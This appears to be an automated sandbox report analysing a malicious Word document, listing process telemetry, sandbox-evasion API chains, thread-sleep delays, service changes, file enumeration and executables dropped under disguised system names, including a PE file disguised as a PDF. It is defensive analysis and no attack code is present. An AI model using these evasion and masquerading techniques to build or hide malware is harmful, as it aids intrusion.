Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: sample1.doc

Stream path 'Data' entropy: 7.97862280177 (max. 8.0)

Malware Analysis System Evasion:

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Show sources

Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_8-6262
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_7-10197
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_9-6366
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_13-6366
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_10-6092
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_11-6345
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_12-6327

Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: ChangeServiceConfig2W,OpenServiceW,GetProcessHeap,HeapFree,EnumServicesStatusExW,GetTickCount,QueryServiceConfig2W,CloseServiceHandle,GetProcessHeap,RtlAllocateHeap,RtlAllocateHeap,GetProcessHeap,HeapFree,	7_2_003F5040
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Code function: ChangeServiceConfig2W,OpenServiceW,GetProcessHeap,HeapFree,EnumServicesStatusExW,GetTickCount,QueryServiceConfig2W,CloseServiceHandle,GetProcessHeap,RtlAllocateHeap,RtlAllocateHeap,GetProcessHeap,HeapFree,	8_2_00365040
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Code function: ChangeServiceConfig2W,OpenServiceW,GetProcessHeap,HeapFree,EnumServicesStatusExW,GetTickCount,QueryServiceConfig2W,CloseServiceHandle,GetProcessHeap,RtlAllocateHeap,RtlAllocateHeap,GetProcessHeap,HeapFree,	9_2_003B5040
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Code function: ChangeServiceConfig2W,OpenServiceW,GetProcessHeap,HeapFree,EnumServicesStatusExW,GetTickCount,QueryServiceConfig2W,CloseServiceHandle,GetProcessHeap,RtlAllocateHeap,RtlAllocateHeap,GetProcessHeap,HeapFree,	10_2_007B5040
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Code function: ChangeServiceConfig2W,OpenServiceW,GetProcessHeap,HeapFree,EnumServicesStatusExW,GetTickCount,QueryServiceConfig2W,CloseServiceHandle,GetProcessHeap,RtlAllocateHeap,RtlAllocateHeap,GetProcessHeap,HeapFree,	11_2_002B5040
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Code function: ChangeServiceConfig2W,OpenServiceW,GetProcessHeap,HeapFree,EnumServicesStatusExW,GetTickCount,QueryServiceConfig2W,CloseServiceHandle,GetProcessHeap,RtlAllocateHeap,RtlAllocateHeap,GetProcessHeap,HeapFree,	12_2_003E5040
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Code function: ChangeServiceConfig2W,OpenServiceW,GetProcessHeap,HeapFree,EnumServicesStatusExW,GetTickCount,QueryServiceConfig2W,CloseServiceHandle,GetProcessHeap,RtlAllocateHeap,RtlAllocateHeap,GetProcessHeap,HeapFree,	13_2_00325040
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Code function: ChangeServiceConfig2W,OpenServiceW,GetProcessHeap,HeapFree,EnumServicesStatusExW,GetTickCount,QueryServiceConfig2W,CloseServiceHandle,GetProcessHeap,RtlAllocateHeap,RtlAllocateHeap,GetProcessHeap,HeapFree,	14_2_00625040

Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Window / User API: threadDelayed 9920	Jump to behavior
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Window / User API: threadDelayed 9631	Jump to behavior
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Window / User API: threadDelayed 369	Jump to behavior
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Window / User API: threadDelayed 9912	Jump to behavior
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Window / User API: threadDelayed 9929	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Window / User API: threadDelayed 9899	Jump to behavior
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Window / User API: threadDelayed 9884	Jump to behavior
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Window / User API: threadDelayed 9522	Jump to behavior
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Window / User API: threadDelayed 478	Jump to behavior
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Window / User API: threadDelayed 468	Jump to behavior
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Window / User API: threadDelayed 5127	Jump to behavior
Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe	Window / User API: threadDelayed 9524	Jump to behavior
Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe	Window / User API: threadDelayed 476	Jump to behavior

Source: C:\Windows\System32\certutil.exe

Dropped PE file which has not been started: C:\Users\Public\Ksh1.pdf

Jump to dropped file

Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe TID: 600	Thread sleep count: 9631 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe TID: 600	Thread sleep count: 369 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe TID: 2296	Thread sleep count: 9912 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe TID: 2296	Thread sleep count: 88 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe TID: 2108	Thread sleep count: 9929 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe TID: 2108	Thread sleep count: 71 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe TID: 2940	Thread sleep count: 9899 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe TID: 2940	Thread sleep count: 101 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe TID: 1820	Thread sleep count: 9884 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe TID: 1820	Thread sleep count: 116 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe TID: 2300	Thread sleep count: 9522 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe TID: 2300	Thread sleep count: 478 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe TID: 2732	Thread sleep count: 468 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe TID: 2732	Thread sleep count: 5127 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe TID: 2068	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_003F38F0 _snwprintf,FindFirstFileW,FindFirstFileW,FindNextFileW,_snwprintf,GetProcessHeap,HeapFree,FindClose,	7_2_003F38F0
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Code function: 8_2_003638F0 _snwprintf,FindFirstFileW,FindFirstFileW,FindNextFileW,_snwprintf,GetProcessHeap,HeapFree,FindClose,	8_2_003638F0
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Code function: 9_2_003B38F0 _snwprintf,FindFirstFileW,FindFirstFileW,FindNextFileW,_snwprintf,GetProcessHeap,HeapFree,FindClose,	9_2_003B38F0
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Code function: 10_2_007B38F0 _snwprintf,FindFirstFileW,FindFirstFileW,FindNextFileW,_snwprintf,GetProcessHeap,HeapFree,FindClose,	10_2_007B38F0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Code function: 11_2_002B38F0 _snwprintf,FindFirstFileW,FindFirstFileW,FindNextFileW,_snwprintf,GetProcessHeap,HeapFree,FindClose,	11_2_002B38F0
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Code function: 12_2_003E38F0 _snwprintf,FindFirstFileW,FindFirstFileW,FindNextFileW,_snwprintf,GetProcessHeap,HeapFree,FindClose,	12_2_003E38F0
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Code function: 13_2_003238F0 _snwprintf,FindFirstFileW,FindFirstFileW,FindNextFileW,_snwprintf,GetProcessHeap,HeapFree,FindClose,	13_2_003238F0
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Code function: 14_2_006238F0 _snwprintf,FindFirstFileW,FindFirstFileW,FindNextFileW,_snwprintf,GetProcessHeap,HeapFree,FindClose,	14_2_006238F0
Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe	Code function: 15_2_004838F0 _snwprintf,FindFirstFileW,FindFirstFileW,FindNextFileW,_snwprintf,GetProcessHeap,HeapFree,FindClose,	15_2_004838F0

Source: SampleRes.exe, 0000000A.00000002.2271114841.000000000058F000.00000004.00000020.sdmp

Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_003F4DF0 mov eax, dword ptr fs:[00000030h]	7_2_003F4DF0
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_003F3F00 mov eax, dword ptr fs:[00000030h]	7_2_003F3F00
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Code function: 8_2_00363F00 mov eax, dword ptr fs:[00000030h]	8_2_00363F00
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Code function: 8_2_00364DF0 mov eax, dword ptr fs:[00000030h]	8_2_00364DF0
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Code function: 9_2_003B3F00 mov eax, dword ptr fs:[00000030h]	9_2_003B3F00
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Code function: 9_2_003B4DF0 mov eax, dword ptr fs:[00000030h]	9_2_003B4DF0
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Code function: 10_2_007B3F00 mov eax, dword ptr fs:[00000030h]	10_2_007B3F00
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Code function: 10_2_007B4DF0 mov eax, dword ptr fs:[00000030h]	10_2_007B4DF0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Code function: 11_2_002B3F00 mov eax, dword ptr fs:[00000030h]	11_2_002B3F00
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Code function: 11_2_002B4DF0 mov eax, dword ptr fs:[00000030h]	11_2_002B4DF0
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Code function: 12_2_003E3F00 mov eax, dword ptr fs:[00000030h]	12_2_003E3F00
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Code function: 12_2_003E4DF0 mov eax, dword ptr fs:[00000030h]	12_2_003E4DF0
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Code function: 13_2_00323F00 mov eax, dword ptr fs:[00000030h]	13_2_00323F00
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Code function: 13_2_00324DF0 mov eax, dword ptr fs:[00000030h]	13_2_00324DF0
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Code function: 14_2_00623F00 mov eax, dword ptr fs:[00000030h]	14_2_00623F00
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Code function: 14_2_00624DF0 mov eax, dword ptr fs:[00000030h]	14_2_00624DF0
Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe	Code function: 15_2_00483F00 mov eax, dword ptr fs:[00000030h]	15_2_00483F00
Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe	Code function: 15_2_00484DF0 mov eax, dword ptr fs:[00000030h]	15_2_00484DF0

